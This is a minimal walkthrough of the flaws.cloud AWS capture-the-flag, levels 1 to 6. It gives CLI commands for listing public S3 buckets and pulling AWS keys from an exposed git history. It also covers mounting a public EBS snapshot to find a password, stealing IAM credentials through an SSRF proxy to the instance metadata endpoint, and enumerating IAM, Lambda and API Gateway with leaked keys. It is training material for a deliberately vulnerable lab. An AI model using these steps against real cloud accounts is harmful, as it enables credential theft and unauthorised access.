flaws.cloud Cloud CTF walkthrough (minimal)

Level 1
dig flaws.cloud
- get one of the IPsnslookup [IP]
orpython3 isitonaws.py [IP]
(script source here)
- see it's an s3 inus-west-2
-->flaws.cloud.s3-website-us-west-2.amazonaws.com
aws s3 ls s3://flaws.cloud
- Result:
2017-03-14 03:00:38 2575 hint1.html
2017-03-03 04:05:17 1707 hint2.html
2017-03-03 04:05:11 1101 hint3.html
2020-05-22 18:16:45 3162 index.html
2018-07-10 16:47:16 15979 logo.png
2017-02-27 01:59:28 46 robots.txt
2017-02-27 01:59:30 1051 secret-dd02c7c.html- Visit http://flaws.cloud/secret-dd02c7c.html
Level 2
- Same as level1 but you must have an AWS account (authenticated user)
Level 3
aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
- exposed git repoaws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ flaws-lvl3-git --recursive
cd flaws-lvl3-git
git log
- Find commit hashb64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
git show b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
- access_key=AKIAJ366LIPB4IJKT7SA
- secret_access_key=OdNa7m+bqUvF3Bn/qgSnPE1kBpqcBTTjqwP83JysAWS_ACCESS_KEY_ID=AKIAJ366LIPB4IJKT7SA AWS_SECRET_ACCESS_KEY=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 aws s3 ls
- level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
Level 4
AWS_ACCESS_KEY_ID=AKIAJ366LIPB4IJKT7SA AWS_SECRET_ACCESS_KEY=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 aws ec2 describe-snapshots --owner-ids self
- lists snapshots made from the account with the keys:
- find snap-0b49342abd1bdcb89aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
- with your own profilessh ubuntu@ec2-[us-west-2-ec2-IP].us-west-2.compute.amazonaws.com
- Mount volume /dev/xvdb1
-sudo mount /dev/xvdb1 /mountpoint
- Find
/home/ubuntu/setupNginx.sh
- content:htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
- Login to http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud with
flaws:nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
Level 5
- Check http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
- Find your way to http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
- Take the keys and token and put it in ~/.aws/credentials with the profile name
[level5]
aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
- The secret directory is
ddcc78ff/
Level 6
Enumeration
AWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws iam list-users
- list users available in this account
- users:backup
andLevel6
AWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws iam list-attached-user-policies --user-name Level6
- see policies attached to Level6
- policies attached:
-arn:aws:iam::975426262029:policy/MySecurityAudit
-arn:aws:iam::975426262029:policy/list_apigateways
AWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
- find more about the custom policylist_apigateways
-"DefaultVersionId": "v4"
AWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws iam get-policy-version --version-id v4 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
- get detailed information about the permissions in the policy
-"Action": "apigateway:GET"
-"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
- we are allowed to do GET requests to rest apis
- here the api gateway is calling a lambda functionAWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws --region us-west-2 lambda list-functions
- find functionLevel6
AWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws --region us-west-2 lambda get-policy --function-name Level6
- it's an api with arnarn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
- this means:
- http://[restapi-id].execute-api.[region].amazonaws.com/
- in our case: https://s33ppypa75.execute-api.us-west-2.amazonaws.com/
- https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Level6 is Forbidden, need to find the stage that the function is inAWS_ACCESS_KEY_ID=AKIAJFQ6E7BY57Q3OBGA AWS_SECRET_ACCESS_KEY=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 aws --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
-"stageName": "Prod"
- i.e. https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
